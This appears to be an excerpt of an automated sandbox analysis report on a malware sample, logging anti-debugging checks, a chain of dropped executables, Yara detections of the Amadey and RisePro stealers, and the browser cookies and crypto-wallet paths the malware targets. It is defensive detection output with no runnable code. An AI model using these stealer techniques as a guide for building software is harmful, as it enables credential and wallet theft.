Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_04D00CA5 rdtsc

0_2_04D00CA5

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_00424CE8 mov eax, dword ptr fs:[00000030h]	9_2_00424CE8
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161810 mov eax, dword ptr fs:[00000030h]	9_2_0A161810
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161604 mov eax, dword ptr fs:[00000030h]	9_2_0A161604
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161A00 mov eax, dword ptr fs:[00000030h]	9_2_0A161A00
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161801 mov eax, dword ptr fs:[00000030h]	9_2_0A161801
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160A0A mov eax, dword ptr fs:[00000030h]	9_2_0A160A0A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160834 mov eax, dword ptr fs:[00000030h]	9_2_0A160834
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161633 mov eax, dword ptr fs:[00000030h]	9_2_0A161633
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161431 mov eax, dword ptr fs:[00000030h]	9_2_0A161431
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16123D mov eax, dword ptr fs:[00000030h]	9_2_0A16123D
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16123A mov eax, dword ptr fs:[00000030h]	9_2_0A16123A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161A3A mov eax, dword ptr fs:[00000030h]	9_2_0A161A3A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161823 mov eax, dword ptr fs:[00000030h]	9_2_0A161823
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161A2B mov eax, dword ptr fs:[00000030h]	9_2_0A161A2B
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16165F mov eax, dword ptr fs:[00000030h]	9_2_0A16165F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16185A mov eax, dword ptr fs:[00000030h]	9_2_0A16185A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160A43 mov eax, dword ptr fs:[00000030h]	9_2_0A160A43
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16124F mov eax, dword ptr fs:[00000030h]	9_2_0A16124F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16144F mov eax, dword ptr fs:[00000030h]	9_2_0A16144F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16164C mov eax, dword ptr fs:[00000030h]	9_2_0A16164C
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161675 mov eax, dword ptr fs:[00000030h]	9_2_0A161675
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161471 mov eax, dword ptr fs:[00000030h]	9_2_0A161471
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16187E mov eax, dword ptr fs:[00000030h]	9_2_0A16187E
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160A64 mov eax, dword ptr fs:[00000030h]	9_2_0A160A64
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161263 mov eax, dword ptr fs:[00000030h]	9_2_0A161263
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160860 mov eax, dword ptr fs:[00000030h]	9_2_0A160860
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16086D mov eax, dword ptr fs:[00000030h]	9_2_0A16086D
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161869 mov eax, dword ptr fs:[00000030h]	9_2_0A161869
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161A69 mov eax, dword ptr fs:[00000030h]	9_2_0A161A69
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161681 mov eax, dword ptr fs:[00000030h]	9_2_0A161681
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16088D mov eax, dword ptr fs:[00000030h]	9_2_0A16088D
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16148A mov eax, dword ptr fs:[00000030h]	9_2_0A16148A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160A88 mov eax, dword ptr fs:[00000030h]	9_2_0A160A88
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1608B2 mov eax, dword ptr fs:[00000030h]	9_2_0A1608B2
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1614B2 mov eax, dword ptr fs:[00000030h]	9_2_0A1614B2
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1616BF mov eax, dword ptr fs:[00000030h]	9_2_0A1616BF
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1616A2 mov eax, dword ptr fs:[00000030h]	9_2_0A1616A2
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160AA1 mov eax, dword ptr fs:[00000030h]	9_2_0A160AA1
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1612AD mov eax, dword ptr fs:[00000030h]	9_2_0A1612AD
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1618A8 mov eax, dword ptr fs:[00000030h]	9_2_0A1618A8
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1614D6 mov eax, dword ptr fs:[00000030h]	9_2_0A1614D6
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1616D4 mov eax, dword ptr fs:[00000030h]	9_2_0A1616D4
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1608DC mov eax, dword ptr fs:[00000030h]	9_2_0A1608DC
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1614C0 mov eax, dword ptr fs:[00000030h]	9_2_0A1614C0
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160ACF mov eax, dword ptr fs:[00000030h]	9_2_0A160ACF
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1608CD mov eax, dword ptr fs:[00000030h]	9_2_0A1608CD
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1612FE mov eax, dword ptr fs:[00000030h]	9_2_0A1612FE
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1608FD mov eax, dword ptr fs:[00000030h]	9_2_0A1608FD
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1618E6 mov eax, dword ptr fs:[00000030h]	9_2_0A1618E6
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1612E0 mov eax, dword ptr fs:[00000030h]	9_2_0A1612E0
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1614EC mov eax, dword ptr fs:[00000030h]	9_2_0A1614EC
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1616E8 mov eax, dword ptr fs:[00000030h]	9_2_0A1616E8
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16071F mov eax, dword ptr fs:[00000030h]	9_2_0A16071F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16091A mov eax, dword ptr fs:[00000030h]	9_2_0A16091A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16191A mov eax, dword ptr fs:[00000030h]	9_2_0A16191A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160B07 mov eax, dword ptr fs:[00000030h]	9_2_0A160B07
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161900 mov eax, dword ptr fs:[00000030h]	9_2_0A161900
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16150C mov eax, dword ptr fs:[00000030h]	9_2_0A16150C
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161934 mov eax, dword ptr fs:[00000030h]	9_2_0A161934
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161333 mov eax, dword ptr fs:[00000030h]	9_2_0A161333
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161323 mov eax, dword ptr fs:[00000030h]	9_2_0A161323
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161721 mov eax, dword ptr fs:[00000030h]	9_2_0A161721
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161528 mov eax, dword ptr fs:[00000030h]	9_2_0A161528
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160952 mov eax, dword ptr fs:[00000030h]	9_2_0A160952
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161551 mov eax, dword ptr fs:[00000030h]	9_2_0A161551
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16195F mov eax, dword ptr fs:[00000030h]	9_2_0A16195F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160746 mov eax, dword ptr fs:[00000030h]	9_2_0A160746
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161745 mov eax, dword ptr fs:[00000030h]	9_2_0A161745
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161941 mov eax, dword ptr fs:[00000030h]	9_2_0A161941
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161348 mov eax, dword ptr fs:[00000030h]	9_2_0A161348
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A160B75 mov eax, dword ptr fs:[00000030h]	9_2_0A160B75
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161972 mov eax, dword ptr fs:[00000030h]	9_2_0A161972
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16077E mov eax, dword ptr fs:[00000030h]	9_2_0A16077E
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16197F mov eax, dword ptr fs:[00000030h]	9_2_0A16197F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16137C mov eax, dword ptr fs:[00000030h]	9_2_0A16137C
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16177D mov eax, dword ptr fs:[00000030h]	9_2_0A16177D
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16096F mov eax, dword ptr fs:[00000030h]	9_2_0A16096F
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16156A mov eax, dword ptr fs:[00000030h]	9_2_0A16156A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16079E mov eax, dword ptr fs:[00000030h]	9_2_0A16079E
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161398 mov eax, dword ptr fs:[00000030h]	9_2_0A161398
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A161799 mov eax, dword ptr fs:[00000030h]	9_2_0A161799
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16098E mov eax, dword ptr fs:[00000030h]	9_2_0A16098E
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16138C mov eax, dword ptr fs:[00000030h]	9_2_0A16138C
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A16158C mov eax, dword ptr fs:[00000030h]	9_2_0A16158C
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1609B5 mov eax, dword ptr fs:[00000030h]	9_2_0A1609B5
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1615B0 mov eax, dword ptr fs:[00000030h]	9_2_0A1615B0
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1613B1 mov eax, dword ptr fs:[00000030h]	9_2_0A1613B1
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1619A3 mov eax, dword ptr fs:[00000030h]	9_2_0A1619A3
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1619A9 mov eax, dword ptr fs:[00000030h]	9_2_0A1619A9
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1619D1 mov eax, dword ptr fs:[00000030h]	9_2_0A1619D1
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1607DC mov eax, dword ptr fs:[00000030h]	9_2_0A1607DC
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1617D9 mov eax, dword ptr fs:[00000030h]	9_2_0A1617D9
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1609F3 mov eax, dword ptr fs:[00000030h]	9_2_0A1609F3
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1615F3 mov eax, dword ptr fs:[00000030h]	9_2_0A1615F3
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1613FD mov eax, dword ptr fs:[00000030h]	9_2_0A1613FD
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1619E7 mov eax, dword ptr fs:[00000030h]	9_2_0A1619E7
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0A1613EF mov eax, dword ptr fs:[00000030h]	9_2_0A1613EF
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E46D80 mov eax, dword ptr fs:[00000030h]	27_2_00E46D80
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E13F40 mov eax, dword ptr fs:[00000030h]	27_2_00E13F40

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\1000015002\b6042db502.exe "C:\Users\user\1000015002\b6042db502.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe "C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe"	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior

Source: 8bcaec3fef.exe, 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: b6042db502.exe, b6042db502.exe, 00000005.00000002.2220720292.0000000000E2D000.00000040.00000001.01000000.00000009.sdmp, axplong.exe, 0000001C.00000002.2715569843.00000000002CD000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: vProgram Manager
Source: RageMP131.exe	Binary or memory string: &!Program Manager
Source: RageMP131.exe, 0000001B.00000002.6958219757.0000000001098000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: !Program Manager
Source: setup.exe, setup.exe, 00000000.00000002.2077796101.000000000035C000.00000040.00000001.01000000.00000003.sdmp, explortu.exe, explortu.exe, 00000003.00000002.2116153169.000000000076C000.00000040.00000001.01000000.00000007.sdmp, explortu.exe, 0000001D.00000002.2715567444.000000000076C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: OProgram Manager
Source: 8bcaec3fef.exe, 8bcaec3fef.exe, 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: )Program Manager

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\1000015002\b6042db502.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\1000015002\b6042db502.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: unknown VolumeInformation

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

27_2_00E5FF00

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

27_2_00E5FF00

Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.setup.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.explortu.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.explortu.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.b6042db502.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.axplong.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2075796415.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2037119339.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2180141513.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2674508535.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2074612089.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2715350371.00000000000D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2220567751.0000000000C31000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2116024182.0000000000581000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2077719831.0000000000171000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2221998730.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2715346038.0000000000581000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2674528810.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 8896, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets8b}
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\walletse
Source: RageMP131.exe, 0000001B.00000003.6775201198.0000000007F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx
